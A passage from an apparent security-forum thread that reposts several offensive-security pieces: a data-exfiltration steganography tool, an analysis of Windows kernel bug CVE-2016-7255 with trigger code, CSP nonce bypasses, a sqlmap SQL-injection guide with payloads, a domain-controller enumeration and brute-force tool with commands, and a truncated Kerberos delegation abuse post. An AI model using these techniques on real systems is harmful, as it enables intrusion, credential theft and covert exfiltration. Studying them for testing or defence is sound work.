term for this is "text-based steganography", hiding data by making it look like other data. For example, you can transform a .zip file into a list of Pokemon creatures or Top 100 Websites. You then transfer the cloaked file however you choose, and then decloak the exfiltrated file back into its original form. With your payload cloaked, you can transfer data across a secure network’s perimeter without triggering alerts. You can also defeat data whitelisting controls - is there a security device that only allows IP addresses to leave or enter a network? Turn your payload into IP addresses, problem solved. Additionaly, you can derail the security analyst’s review via social engineering attacks against their workflows. And as a final bonus, cloaked files defeat signature-based malware detection tools. The pre-packaged ciphers are designed to appear like harmless / ignorable lists, though some (like MD5 password hashes) are specifically meant as distracting bait. CloakifyFactory is also a great way to introduce people to crypto and steganography concepts. It's simple to use, guides the user through the process, and according to our kids is also fun! Sursa: https://github.com/trycatchhcf/cloakify
-
Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255 By Stanley Zhu on Dec 29, 2016 The Windows kernel privilege escalation vulnerability CVE-2016-7255 has received a lot of media attention. On November’s Patch Tuesday, Microsoft released a fix for this vulnerability as part of bulletin MS16-135. CVE-2016-7255 was used to perform a targeted attack and a sample was found in the wild, according to Microsoft. Google and Microsoft have already confirmed the Russian hacker group APT28 used a Flash vulnerability (CVE-2016-7855) along with this kernel privilege escalation flaw to perform a targeted attack. Google has also discussed this vulnerability. https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html https://threatpost.com/microsoft-says-russian-apt-group-behind-zero-day-attacks/121722/ http://securityaffairs.co/wordpress/53242/hacking/cve-2016-7255-zero-day.html The vulnerability research team at McAfee Labs has spent a significant amount of time analyzing this vulnerability. In this post we will briefly discuss some of our findings. We started our analysis with the patch of MS16-135, and very soon we noticed that MS16-135 updated win32k.sys on the target system. Our investigation continued with the comparison (via binary diffing) of the two win32k.sys files (before and after installing the patch). Our test system ran Windows 7 Version 6.1.7601.23584. Looking at the binary diffing results, we noticed the following functions were modified. Figure 1: The changed function xxxNextWindow in win32k.sys. After some preliminary investigation we concluded the patch for CVE-2016-7255 was applied solely in the function xxxNextWindow in win32k.sys. The following screenshot shows a very high-level overview of the changes made to xxxNextWindow(x,x): Figure 2: High-level diffing results in the function xxxNextWindow. We can see some new logic has been added (highlighted in red) to the middle of the patched function. Zooming into the first newly inserted basic block, we can see that the newly introduced code compares the value of eax+0x23. Figure 3: The first inserted basic block in xxxNextWindow. We see similar logic in next newly inserted basic block. Figure 4: The second inserted basic block in xxxNextWindow. Google has stated the vulnerability “can be triggered via the win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD.” In fact, NtSetWindowLongPtr only helps trigger this vulnerability, while the root cause lies in xxxNextWindow. More specifically, the inappropriate parameters set by NtSetWindowLongPtr can trigger an “arbitrary address write” scenario in xxxNextWindow. Now let’s take a look at the decompiled version of the unpatched xxxNextWindow(x,x…). Figure 5: The decompiled version of the unpatched xxxNextWindow. After the patch is applied, xxxNextWindow (x,x…) looks like this: Figure 6: The decompiled version of the patched xxxNextWindow. The code after the patch has enhanced the parameter verification with the conditional branch statement “(*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40.” In this new statement, variable v8 (in eax) is the return value of a previous GetNextQueueWindow call. (See following figure.) Figure 7: Variable v8 comes from a call to GetNextQueueWindow: “v8 = _GetNextQueueWindow(v7, v31, 1);” A quick look at the implementation of _GetNextQueueWindow(x,x,x,…) reveals that the function actually returns a pointer to the tagWND structure. The following screen shows the tagWND structure in windbg: Figure 8: The structure of tagWND. Analyzing this code, we know the field at offset 0x78 in the tagWND structure is relevant to the vulnerability. The following lines of decompiled code from the unpatched function illustrate that the field at offset 0x78 is relevant to the vulnerability: Figure 9: Problematic code in the unpatched xxxNextWindow. Now the problem becomes simple: If we can control the value at v8+0x78, we will be able to write to an arbitrary address in kernel land, and this could potentially allow the elevation of privilege. Luckily, a user-mode API (NtSetWindowLongPtr) is available to set an arbitrary value in that position. The following screen shot shows that the value (0x41414141) we passed to NtSetWindowLongPtr is reflected in the tagWND structure, making it easy to gain an arbitrary memory write through this vulnerability. Figure 10: An arbitrary value is set in the tagWnd structure. To to trigger the vulnerability, the WS_CHILD attribute of the newly created window must be assigned, and the GWLP_ID attribute must be set with the help of the API NtSetWindowLongPtr(). Moreover, the last hurdle is to trigger xxxNextWindow. After some research, we found we can trigger it by pressing a combination of Alt+Tab keys or simulating the key press with the keybd_event API. Now that we understand the root cause of this vulnerability from the high level, let’s try reproducing the vulnerability. We will create a simple window and populate some values in its tagWND structure. HWND hwnd = CreateWindowEx(0, L”TestWnd”, 0, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 5, 5, 1, 1, hWndParent, 0/*hMenu */, h, 0); SetWindowLongPtr(hwnd, GWLP_ID,/*0xfffffff4=GWLP_ID*/ 0x41414141); Figure 11: Debugging the vulnerable function xxxNextWindow. The preceding screenshot shows the live debugging output. Here the ebx register is holding the pointer to the tagWND structure, and a write violation will occur very soon. As you can see in the following figure, the destination of the offending instruction is just the address (adding 0x14) that we previously passed in via the NtSetWindowLongPtr API, and this perfectly illustrates an arbitrary address write attack. Figure 12: Scenario for an arbitrary address write attack. Let’s return to Microsoft’s patch, which starts by checking the value at offset 0x23 of the tagWND structure. In the patched code, we can see the newly introduced statement (*(_BYTE *)(v8 + 0x23) & 0xC0) != 0x40 When it comes to the patched version of the function, ebx points to the tagWND of the structure ebx + 0x23 = 0x54; 0x54 & 0xc0 = 0x40 ;(1) , 0x40 != 0x40 (2) ; Now this statement becomes false. Therefore, the program skips the following code lines that attempt to modify memory, and avoids the program crash (the write access violation). *(_DWORD *)(*(_DWORD *)(v30 + 0x78) + 0x14) &= 0xFFFFFFFB; *(_DWORD *)(*(_DWORD *)(v8 + 0x78) + 0x14) |= 4u; How can this vulnerability be exploited to achieve a privilege escalation? Instead of allowing the writing of an arbitrary value to an arbitrary address, this vulnerability can change only one bit; that is, the value on the address will be logically OR-ed with 0x04 (or its multiples) as shown below: Value = Value | 0x04; Value = Value | 0x0400; Value = Value | 0x040000 Value = Value | 0x04000000 In this case, if the attacker can find a certain array of objects in kernel land and enlarge the index of the objects array (such as tagWnd->cbWndExtra) with this logical OR primitive to cause an out-of-bound access, the attacker will be able to gain arbitrary address read/write ability from user mode (by using some user mode APIs). We currently know some exploitation skills of this kind, such as GetBitmapbits/SetBitmapbits (first discovered by KeenTeam) or SetWindowText/GetWindowText. Today, privilege escalation using a kernel mode vulnerability is still the primary vector to break application sandboxes (Internet Explorer’s EPM or Edge’s AppContainer). This path has been well demonstrated by most successful in-the-wild exploits targeting Internet Explorer/Edge/Adobe Reader and Flash that we have seen. Against current versions of Windows, with multilayer defenses, escaping the sandbox with a kernel escalation of privilege is still the attacker’s first choice. KeUsermodeCallback used to be a very popular type of Windows kernel mode vulnerability that can lead to kernel mode code execution, as we saw in CVE-2014-4113 and CVE-2015-0057. Microsoft’s work on addressing kernel vulnerabilities and adding more mitigation security features has led to a decline in this type of attack. In response, attackers have begun to look into kernel font and GDI vulnerabilities. Windows 10 has already restricted win32k calls in Edge, which significantly reduces the attack surface. And Microsoft has also fixed the kernel memory information disclosure issue that leverages the GDI-shared handle table. No doubt, kernel exploitation will become more and more difficult. However, we foresee that attackers will still use win32k as the main attack surface to exploit the kernel to achieve code execution or elevation of privilege. The battle will continue around this hot spot for both attackers and defenders. I thank my colleagues Bing Sun and Debasish Mandal for their help with this post. Sursa: https://securingtomorrow.mcafee.com/mcafee-labs/digging-windows-kernel-privilege-escalation-vulnerability-cve-2016-7255/
-
Collection of CSP bypasses On this page, I'd like to collect a set of CSP bypasses related to nonces. CSP policies using nonces are considered very strong in terms of security. However, there are many (sometimes unusual) situations in which nonces can be bypassed. It is still unclear to me, if these bypasses have a practical impact on CSP's protective capabilities. Nevertheless, I'd like to explore these situations to better understand the boundaries of CSP. Furthermore, I'd like to encourage other researchers to have a closer look at CSP nonces. Bypassing script nonces via the browser cache (DOM-based XSS) Bypassing script nonces via the BFCache (by @arturjanc) Bypassing script nonces via partial markup injections Bypassing script nonces via event handlers and changeable sources Bypassing script nonces via DOM XSS (by @sirdarckcat) Bypassing script nonces via CSS I (by @sirdarckcat) Bypassing script nonces via CSS II (by @sirdarckcat) Bypassing script nonces via SVG set tags (by @sirdarckcat) Bypassing script nonces via SVG animate tags (by @0x6D6172696F) Bypassing script nonces via XSLT (by @sirdarckcat) Bypassing script nonces via base tags (by @jackmasa) Bypassing script nonces via CLOSURE_BASE_PATH (by @sirdarckcat) Bypassing script nonces by predicting random numbers Bypassing script nonces by injecting into a URL of a nonced script Bypassing script nonces by injecting into a nonced script Sursa: http://sebastian-lekies.de/csp/bypasses.php
-
- 1
-
-
THURSDAY, JANUARY 5, 2017 Exploiting difficult SQL injection vulnerabilities using sqlmap: Part 1 Introduction A number of times when discovering "tricky" SQL Injection vulnerabilities during penetration tests, I have taken the approach of exploiting them by writing custom tools. This usually after spending 5 minutes blindly poking at the vulnerability with sqlmap, and then stopping when it didn't immediately magic the answer for me. OK, there have been a number of times where sqlmap has NOT been a suitable tool to use for various reasons, such as very particular filtering or data retrieval requirements, but there has also been a number of cases where I probably gave up on it too fast because I didn't properly understand how it worked or the extent of its capabilities. And this resulted in me taking much longer than necessary to exploit the vulnerability. While writing custom tools can certainly be "fun" (for some definitions of "fun"), and while it provides some good coding practice and is an excellent way to ensure that you understand the injection flaw and its exploitation extremely well, its also very time consuming. Writing your own injection tool often involves redoing a lot of work that has already been done by others - the digital equivalent of reinventing the wheel. You need to put together a capable HTTP sending/receiving framework, you need to parse HTML responses, you need to discover the (database specific) SQL commands that will allow you to retrieve data within the limitations imposed by the vulnerability, you need to be able to extract, group, infer, convert and/or join the retrieved data and you need to mentally map out the logic needed to tie all these parts together and turn it into working code with a usable interface. Its a deceptively large amount of effort, especially when blind injection is involved, and I would consistently underestimate how long it would take to perform. Given that sqlmap already has all this functionality, being in particular a very effective tool for retrieving data via all types of SQL injection vulnerabilities, I recently decided that it might be a good idea to spend some of my time to gain an improved understanding of the tool, so that in future I would be able to make more frequent use of it. For my vulnerability test bed, I used some of the SQL injection labs from the Pentester Labs website, namely the Web for Pentester and Web for Pentester II exercises, because those particular exercises are freely downloadble, easy to self host and provide some great examples of SQLi vulnerabilities that require use of some of sqlmap's custom options for exploitation. This will be the first in a series of posts where I share some of what I learned during this process. This first post will mainly seek to introduce and explain the relevant sqlmap options that I used and outline a process that can be used to get sqlmap to identify an SQL injection flaw that you have discovered through other testing activities. Future entries will provide examples of actually using this to exploit SQL injection vulnerabilities that sqlmap cannot easily detect on its own. Note: While I will use their content as examples, the intent here is NOT to explain how to discover or do manual exploitation of the SQLi vulnerabilities in the PentesterLab exercises - because that has already been written up in the PentesterLab courseware available at their web site. If you don't already know how to do manual discovery of SQLi vulnerabilities, you can check out their site, or any of the many other SQLi references on the Internet to learn this (for the record though, I think the PentesterLab stuff is a fantastic introduction to web application pentesting, and I wish I had access to it when I first started doing webapp testing). Useful sqlmap options Before I jump into working through specific examples, I wanted to describe the purpose of some sqlmap options. More advanced use of sqlmap, in terms of actually tweaking its operation in order to make a difficult injection operate, will require that you actually understand how these options work. In essence, this is the README I wish I had received when I moved beyond the bare basics in my use of the tool, as I definitely would have used sqlmap much more extensively had I understood these particular options as well as I do now. Hopefully you can now benefit from my having learned this the "hard" way, e.g. via trial and error. Prefix and suffix The prefix (--prefix) and suffix (--suffix) options configure the strings that should be included with each SQL injection payload in order to begin, and then terminate, the Injection. So what does this mean exactly? Take this simple example of an injectible query: $query = "SELECT first_name, last_name FROM users WHERE name = '" . $_GET["username"] . "'"; Whats an example of an injection string that would work here? Something like the following would work as a simple POC of a union injection. ' UNION SELECT NULL,NULL -- a This closes the single quoted string before our injection point with a single quote ('), seperates the next statement with a space ( ), adds our injection query of a UNION SELECT with a column count matching that of the existing SELECT query, and then comments out the remainder of the original query to ensure syntactical correctness. The prefix in this case is the single quote and space (' ) used before the UNION SELECT, and the suffix is the characters (a space, two dashes, another space and the letter "a") used to comment out the remainder of the original query ( -- a). The following options can be used to configure sqlmap to use this prefix and suffix: --prefix="' " --suffix=' -- a' Now, these particular examples of prefixes and suffixes (or ones that are functionality identical) are ones that sqlmap will be able to figure out itself, so you will rarely need to specify values like this. However, this hopefully does help you in understanding what these options do, because they are quite important ones to grasp if you want to use sqlmap for more difficult injections. In fact, I put these options first in the list of ones I wanted to describe because as I was working through this process of learning how to make sqlmap identify certain injection vulnerabilities, these were the ones that I used the most. Also, finally learning what these did was an "AHA!" moment for me, as I have been aware of the options existence for an embarassingly long time without understanding what they did. Note: Why use NULL values in the UNION SELECT? NULL is a great value to use in UNIONS when trying to determine the correct number of columns in an injection, as it can sit in place of a number of different field types, such as numbers, strings and dates. Note2: Why the extra space and the "a" character after the comment? Sometimes, inserted comments at the end of an injection are not properly recognised by the database unless there is a whitespace character to follow. Since whitespace characters on their own are sometimes not easily identifiable when displayed on screen (depending on what other text follows) its helpful to include other text afterwards so you can easily see there is something following the comment. You will see sqlmap do this when you look at some of the injection strings it uses. Specifying Injection technique and tests There are a number of different SQL injection techniques available for use in sqlmap, which are configured via the --technique option, and sqlmap comes with a number of different in built tests for exploiting vulnerabilities using those techniques. By default, sqlmap will enable all possible techniques when trying to identify an injection vulnerability, and will run all associated tests that meet the configured risk and level settings (discussed later). If you have manually discovered a SQL injection flaw in a website and want to use sqlmap to exploit the vulnerability, you may already know the correct technique, as well as the most appropriate payload configuration to use, and this is where specifying these options manually can be useful. Manual specification of these settings helps prevents less effective techniques from being chosen by sqlmap, and cuts down on the amount of traffic sent by sqlmap during its detection period. A brief listing of the injection techniques available for use by sqlmap is listed below in order of preference. You can select the appropriate ones by using the --technique switch followed by a listing of the letters associated with the method/s you wish to use. The default is all options, (e.g. "--technique=BEUSTQ"). The descriptions provided below are only intended as high level reminders of each technique Stacked queries (S) - This involves stacking whole new SQL queries onto the end of the existing injectable query. Its the preferred method to use if available, because there are a number of exploitation actions that wont be available to you using any other method, however the use of this method does require support from the database and API. You may not necessarily be able to see the results of your stacked query in the page response, so when actually retrieving data (as opposed to performing other operations such as INSERTS) you may want to use another technique such as Unions. Union query based (U) - This involves retrieving data by joining a second select statement to the original, via the UNION SELECT statement. You need to be able to see the results from the original SELECT query (and hence your UNION) in the page response for this method to be usable. Error based (E) - This technique retrieves data by manipulating database error messages to directly display that data. To use this method, you need to be able to see database error messages in page responses. Inline queries (I) - This technique uses inline database queries to retrieve data - essentially a query embedded within another query like this "SELECT (SELECT password from user) from product". I have not personally had the occasion to use this option in sqlmap, and while inline queries can be used more widely than this in manual injection scenarios, it appears that you need to be able to see the inline queries result in the page response for this to be usable through sqlmap. Boolean blind (B) - This retrieves data from the database by asking a series of True/False style questions in your injections, and determining the result (True or False) based on identifiable changes in the response. To use this option, you need to be able to be able to trigger some sort of identifiable state change in HTTP response content from logically different, but syntactically correct database queries (e.g. a different page response only resulting from an invalid database query doesn't count here). This technique will require more requests and time to perform than those previously listed, as the data must be retrieved indirectly via boolean inference. Time based blind (T) - This technique is similar to boolean blind, in that it retrieves data via posing a number of True/False style questions to the database, however instead of determining the answers to these questions via the content of a response, it is done using the amount of time a response takes. This is done through associating deliberate delays with particular answers via database statements that consume a noticeable amount of time, like sleep. This is the most time consuming method of data retrieval, and is sensitive to errors introduced by network load. Without careful custom configuration, you may find sqlmap selecting this technique for trickier injection vulnerabilities that can be exploited by more efficient means. Selecting a particular technique, or set of techniques will limit the payloads that sqlmap will use to those associated with that/those technique/s. It is also possible to further filter the attempted payloads via the --test-filter and --test-skip options to target payloads that contain (or do not contain) particular text within their name. If, for example, you know your target SQLi vulnerability exists within the 'ORDER BY' clause of a query, why not filter for only these test payloads by using: --test-filter='ORDER BY' In addition, if you write your own custom test payload for an injection, you can use only that particular payload by setting a filter for a unique string you have added to the name. Note: To have the best chance of being able to configure sqlmap to detect and exploit a given difficult vulnerability, its important that you properly understand the type of injection you wish to use and the requirements for its exploitation. This is because for injection vulnerabilities that sqlmap cannot find on its own you have to be able to create an effective POC exploit manually to use as a basis for correctly setting sqlmap's configuration . Hopefully this brief summary of the available injection types is appropriately clear and detailed in order to provide a sufficient refresher, but if you are unclear on these techniques you may wish to do further research on any techniques you are unfamiliar with before continuing. Risks and levels The risks and levels settings in sqlmap will control which test payloads will be attempted during the detection run to identify an SQLi vulnerability. Each test payload has a configured level and risk setting, and if the configured threshold is not met for that payload during a particular run of the tool, that particular payload will not be used. Risk in sqlmap refers to the risk of a failure, potential database damage or error in data retrieval associted with using an associated payload. Available risk settings range from 1 to 3, with 1 (the lowest level) being the default. Level refers to the number of requests required to use that associated payload for exploitation. Available level settings range from 1 to 5, with 1 again the default. A common recommendation given in various usage guides is to increase the risk and level settings if sqlmap does not identify a vulnerability in its default configuration, however in my experience for trickier injection vulnerabilities this change alone is often not sufficient. Detection options Using the boolean blind injection technique will often require that you tell sqlmap what to look for in the HTTP response content in order to distinguish a True condition from a False. There are a number of options in sqlmap that allow you to configure this behavior, such as --string and --not-string (configuring strings that should appear in True and False responses respectively), --regexp (allowing you to set a regular expression to match to determine the True condition), --code (provide a HTTP status code to match True), --text-only (compare responses based on text content) and --titles (compare responses based on page title). A neat thing you can do with the --string and --not-string settings is to use Python hexadecimal backslash quoting to do multi line matching. Here is an example showing how to match a section of HTML that includes newlines (\x0a) and tabs (\x09). --string='Name\x0a\x09\x09Stephen' When your detection needs are more complex than what can be satisfied by the above options, there is also another sqlmap feature that with a little bit of imagination you can abuse in order to perform more complex comparative logic, which leads us to... Second order injection sqlmap contains a --second-order option, which is intended to be used to enable exploitation of second order SQL injection vulnerabilities, where the results of an SQL injection need to be retrieved from a different URL than that is used to actually perform the injection. The option allows you to provide a single URL which will be requested by sqlmap after each injection payload is sent, and then parsed as per normal configured sqlmap behavior. By setting the --second-order option to point to your own locally run custom forwarding and parsing server, you can make use of this option to return arbitrary content to sqlmap, perhaps based on data you have automatically retrieved from the target site. This capability can be used to do things such as retrieve data from a dynamically changing second order URL at the target site, or to retrieve content from the remote site and perform complex parsing or logic checks on it, passing through to sqlmap something that it can process using its inbuilt functionality. This link contains a modifiable second-order forwarding server that I wrote in Python to work with sqlmap, which can be run locally from the command line. It starts its own http server locally on the loopback address, and when it receives a request from sqlmap it can request data from another website, then return the (optionally) parsed data back to sqlmap. It is based on Python classes that I wrote specifically to facilitate reuse and modification, so if you can code simple Python you can change it to do any parsing or fetching job you wish. Tamper scripts Tamper scripts in sqlmap allow you to make programmatic changes to all the request payloads sent by sqlmap, in order to facilitate the bypass of web application firewalls and other filters. If you are dealing with filters that prohibit, for example, all whitespace within an injection string, there is a tamper script configured that can help (--tamper=space2comment). A reasonably up to date listing of available tamper scripts and their purpose is available here. Custom written test payloads sqlmap comes configured with a large number of test payloads that it can use to perform injections. These are defined within xml files named after the associated injection technique stored in xml/payloads under the sqlmap root path. You can add your own payloads into these files by copying the xml nodes of an existing test (one thats simlar to the one you want to create) and modifying it as required. There is an example of doing this here, and a specific example of how to use custom test payloads to exploit a boolean blind issue inside the ORDER BY clause will be provided in a future post. Verbosity and debugging injection checks One extremely useful option for troubleshooting sqlmap's detection process is the output verbosity option. The specific setting I use most frequently when getting an injection working is -v3, which will show each raw payload that is sent by sqlmap. This allows you to compare the payloads sent by sqlmap to your own POC SQL injection string developed during discovery of the vulnerability, to determine where sqlmap is incorrectly diverging. If you need to use tamper scripts as well to bypass a filter, you can try verbosity level -v4 to also see the HTTP requests sent, as -v3 verbosity will not show the affect of tamper scripts. Note: You can also configure sqlmap to work through an intercepting proxy for debugging purposes. However, while I generally always have Burp Suite running when Im testing any web application, I usually prefer to avoid filling up my proxy history and slowing down the operation of sqlmap by doing this. Sometimes, if I really want to have a close look at requests and responses, I will run up a separate proxy instance using something like ZA Proxy. Auto answering Under certain circumstances, sqlmap will ask you the same set of one or more repeated questions every time you run the tool. Some of these questions are without their own associated command line options, and therefore without an obvious way to inform sqlmap of the desired behavior so you don't have to repeatedly answer the same question the same way every time sqlmap prompts you. The --answers option allows you to provide a standard response to these questions - to use it, pick a unique term from the question itself, and provide this along with the desired response. For example, to preemptively answer Yes to allow sqlmap to attempt to "optimize" timing settings during blind timing based injections, use the following. --answers='optimize=Y' Session flushing sqlmap keeps session information about each url, including which techniques and payloads have been confirmed to work and what data has been retrieved from the site. If a non optimal payload type has been associated with a particular url within the relevant session, you may want to clear that session information in order to try and get a new payload to work. You can flush all data associated with a URL, and force the detection process to run again, using the following option. --flush-session Other options Some other options I commonly use are the parameter option which specifies which parameter is used to perform the injection (e.g. -p 'vulnerable_parameter') and the options to specify the database (e.g. --dbms='mysql') and the Operating System (--os='linux') in use on the remote server. These all help sqlmap to avoid making extraneous requests beyond what you already know will be effective based on your knowledge of the target web application. Sometimes of course the injection point is not within a parameter, in which case sqlmap has other options which can be used to target its operation, such as the asterisk character which can be used to set manual injection point within a request. Tweaking sqlmap options to detect tricky injections Before you can use sqlmap to effectively exploit an injection issue, you must get it to detect the vulnerability, which associates one or more injection techniques and payloads with the URL associated with the issue. Once this has occurred, the detection process does not need to run again, and sqlmaps options for exploitation and data retrieval can be immediately used on subsequent executions of the tool. The following is the process I use for taking a manually discovered SQL injection vulnerability and configuring sqlmap to exploit it. Develop the manual exploit to the point where a POC for the best applicable exploitation technique exists. For a UNION SELECT vulnerability, this means you want to discover the number of columns in the UNION, and perhaps also the datatypes of each column (numeric, text, date, etc). For a boolean blind, you will want to be able to trigger different pages responses for True and False conditions, and determine how you could differentiate the True response from the False. For a time based blind, you want to get a response to delay for a given period of seconds based on the success or failure of some comparison you make, etc. This step will also include working out whether any specific characters are restricted by some sort of filter or other application issue, and hence are unusable in performing the injection. Run sqlmap, configuring the backend database type (--dbms), Operating System (--os), and technique (--technique) options to specifically target the manually discovered issue. Set the parameter (-p) option as well if the injection is in a URL or POST data parameter, or use other options such as the injection point asterisk (*) as appropriate to tell sqlmap exactly where the injection is located. This helps focus the detection process, minimising requests sent and time taken by ignoring non-vulnerable parameters and payloads that target other databases or are associated with unwanted injection techniques. You may also need to provide proxy details, cookies or other authentication options, CSRF management options, safe URL settings to avoid lockouts, etc as appropriate, to ensure that sqlmap can correctly send and receive HTTP requests and responses. If you have already created a manual injection POC in a separate tool you should already know all the correct settings to use for this purpose. Leave all other options at the default. I do all my manual testing using Burp Suite Professional, so I use the CO2 plugin and its SQLMapper component to quickly set the relevant command line options. From this point on in the process, as soon as you get sqlmap to detect the vulnerability, you can skip the remaining steps (hopefully thats obvious). Run the detection again, however this time use the -v3 verbose option on so you can see the payloads being sent. Scroll through the output, looking for an injection string thats similar in layout to the POC developed earlier, which will cause the response you require. At this point you may see the names of likely looking payloads that are not being sent here because the --level or --risk settings are too low. If so, raise these values and try again and see if you can find an appropriate payload that comes as close as possible to what you need. If at this point you still do not see a payload that looks like it will be able to provide the output needed to make the injection succeed, you will need to write your own. Pick an example from the xml file named after the appropriate injection technique thats as close as possible to what you need, and modify as required. The earlier section on custom test payloads contains references that help describe this process, and a future post in this series will also have a specific example. Once sqlmap is sending a payload that is logically similar to your POC, the goal is to now tweak the relevant sqlmap options to get the request syntactically correct for the injection. At this point you will want to set the --test-filter option in order to send only your chosen payload, and try and determine what needs to change with the payload to make it work. By "work" I mean that you must be creating injected queries that are syntactically correct and the results must not involve database errors, displayed to you or otherwise, UNLESS you are doing error based injection and that error is displayed to you and contains your chosen content. This troubleshooting may involve taking the payload from the sqlmap verbose output and pasting it into your manual testing tool (i.e. Burp Suite Professional's Repeater) to see if it returns a syntactically correct result. Sometimes however, you can just eyeball it and tell where there are some obvious issues. The next step provides guidance on how to fix syntax issues. If the payload being sent is resulting in a SQL query that is NOT syntactically correct, there are 3 primary reasons for this. Work out which issue (or combination of issues) is causing the problem, and work to resolve these as discussed below before moving on to the next step. The first possible reason is that the prefix and suffix have been set incorrectly (either manually by you or automatically by sqlmap). You know this is the case if the text used at the start of the payload to break into the injection, or the text at the end used to terminate it, are syntactically different from your POC. Correctly set the suffix and prefix options to fix this - the right values should be easy to identify as they will be included in your manual POC. Be aware here that certain test payloads are configured to place random values at the start of the payload output. If you set the --prefix option and don't see the configured string at the very start of the payload output you are using in sqlmap's verbose output, you know that the payload configuration itself is the cause (specifically, the where option in the payload configuration), which is the second possible reason. Second, the definition of the test payload itself is causing an error for some reason. I have seen the sqlmap default payloads break in some cases, but the most likely way for this to occur is when you have written the payload yourself. If the text or logic or the placement of the random values used by sqlmap in the meat of the payload is causing the issue, the problem might be with the definition of the test payload (or you might be focusing on using the wrong payload and another one you have overlooked is more appropriate). Modify the payload, try a different one, or create a your own custom new one to fix this. Third, there is some sort of filter implemented in the space between when you send the request and when the resultant query reaches the database that is causing an otherwise syntactically correct payload to be rejected. This is where tamper scripts can be used to (hopefully) filter out or replace the offending characters. Don't forget to bump your verbosity setting to -v4 in order to see HTTP requests in the output if you need to troubleshoot these. You can either use one of the existing tamper scripts (if a suitable one exists) or write your own. If the filtering is particularly prohibitive, you may need to consider writing a payload that makes use of inventive SQL to avoid your given bad patterns. Once your queries are syntactically correct, the next step is ensuring that sqlmap can correctly interpret the results it is receiving (and, in the case of second order injections, that it is receiving the correct results at all!). Setting aside second-order injections for the moment (we will cover this in more detail in a future example), sqlmap is generally pretty good at this for all of its techniques other than boolean blind injection. For these, you will often need to tell it how to distinguish True from False responses. This is where the detection options such as --string, --not-string and --regex discussed earlier come into play - use these to help sqlmap identify the appropriate responses. Once you have completed these steps sqlmap should have correctly detected your vulnerability and be ready to exploit it. This completes this entry in the series, stay tuned for the next post, where I will show some examples. POSTED BY STEPHEN BRADSHAW AT 6:25 PM Sursa: http://www.thegreycorner.com/2017/01/exploiting-difficult-sql-injection.html
-
QENUM - Quick Enum QENUM is an attack tool which carries out commonly needed basic enumeration tasks when probing a Domain Controller. .-') ('-. .-') _ _ .-') .( OO) _( OO) ( OO ) ) ( '.( OO )_ (_)---\_) (,------.,--./ ,--,' ,--. ,--. ,--. ,--.) ' .-. ' | .---'| \ | |\ | | | | | `.' | ,| | | | | | | \| | )| | | .-') | | (_| | | | (| '--. | . |/ | |_|( OO )| |'.'| | | | | | | .--' | |\ | | | | `-' /| | | | ' '-' '-.| `---.| | \ | (' '-'(_.-' | | | | `-----'--'`------'`--' `--' `-----' `--' `--' QENUM functionality includes: • User enumeration using RID cycling or Enumdomusers - user names saved to file • Basic password brute-forcing • Enumerates Domain Admins - usernames saved to file • Enumerates shares, attempts to mount shares and dir • Enumerates user accounts which have a description field which is not empty, usernames and descriptions saved to file for analysis Username Gathering [*]RID Cycle To RID Cycle with qenum -H target ip -u username -p password -s start RID (default 500) -t to RID (default 550) -m cycle method r qenum.py -H 10.0.0.1 -u rich -p mypassword -s 500 -t 1500 -m r For NULL Sessions qenum.py -H 10.0.0.1 -u "" -s 500 -t 1500 -m r Any enumerated usernames will be output to a file on the local machine [*]Enumdomusers To gather users with Enumdomusers -H target ip -u username -p password -m cycle method e qenum.py -H 10.0.0.1 -u rich -p mypassword -m e For NULL Sessions qenum.py -H 10.0.0.1 -u "" -m e Any enumerated usernames will be output to a file on the local machine Password Cracking To crack the password for found usernames -H target ip -u filename containing username list -p password to try against each username qenum.py -H 10.0.0.1 -u file=10.0.0.12_users.txt -p PasswordToTry Useful Enumeration Functions Functions - All Functions -a, Enumerate Shares -s, Enumerate Domain Admins -da, Enumerate Descriptions -d [*]All Functions To run all enumeration functions -H target ip -u username -p password -f a qenum.py -H 10.0.0.1 -u rich -p mypassword -f a [*]Enumerate Shares This function retrieves share names and then tries to mount each one. If successful it then does a directory listing -H target ip -u username -p password -f s qenum.py -H 10.0.0.1 -u rich -p mypassword -f s [*]Domain Admins This function retrieves a list of Domain Admins and then saves to file ready for password attacks -H target ip -u username -p password -f da qenum.py -H 10.0.0.1 -u rich -p mypassword -f da [*]Enumerate Descriptions This function enumerates all users and looks for accounts where the description is not empty. Accounts which meet this criteria will be saved to file. -H target ip -u username -p password -f d qenum.py -H 10.0.0.1 -u rich -p mypassword -f d Sursa: https://github.com/dickdavy/qenum
-
S4U2Pwnage January 5, 2017 by harmj0y Several weeks ago my workmate Lee Christensen (who helped develop this post and material) and I spent some time diving into Active Directory’s S4U2Self and S4U2Proxy protocol extensions. Then, just recently, Benjamin Delpy and Ben Campbell had an interesting public conversation about the same topic on Twitter. This culminated with Benjamin releasing a modification to Kekeo that allows for easy abuse of S4U misconfigurations. As I was writing this, Ben also published an excellent post on this very topic, which everyone should read before continuing. No, seriously, go read Ben’s post first. Lee and I wanted to write out our understanding of the technology and how you can go about abusing any misconfigurations while on engagements. Some of this will overlap with Ben’s post, but we have incorporated a few different aspects that we think add at least a bit of value. Ben also covers the Linux exploitation aspect, which we won’t touch on in this post. At the heart of this matter is the delegation of privileges – allowing one user to pretend to be another in Active Directory. This delegation (currently) comes in two flavors: unconstrained and constrained delegation. If you don’t care about the technical details, skip to the Abusing S4U section. Unconstrained Delegation Say you have a server (or service account) that needs to impersonate another user for some reason. One common scenario is when a user authenticates to a web server, using Kerberos or other protocols, and the server wants to nicely integrate with a SQL backend. Active Directory grants two general ways to go about this: constrained and unconstrained delegation. Unconstrained delegation used to be the only option available in Windows 2000, and the functionality has been kept (presumably for backwards compatibility reasons). We’ll only briefly cover this delegation type as Sean Metcalf has a great post that covers it in depth. In that article Sean states, “When Kerberos Unconstrained Delegation is enabled on the server hosting the service specified in the Service Principal Name referenced in the TGS-REQ (step 3), the Domain Controller the DC places a copy of the user’s TGT into the service ticket. When the user’s service ticket (TGS) is provided to the server for service access, the server opens the TGS and places the user’s TGT into LSASS for later use. The Application Server can now impersonate that user without limitation!“. Here’s a graphical overview of the protocol from Microsoft: https://msdn.microsoft.com/en-us/library/cc246080.aspx Tl;dr: The TGT will be stuffed into memory where an attacker can extract and reuse it if: You are able to compromise 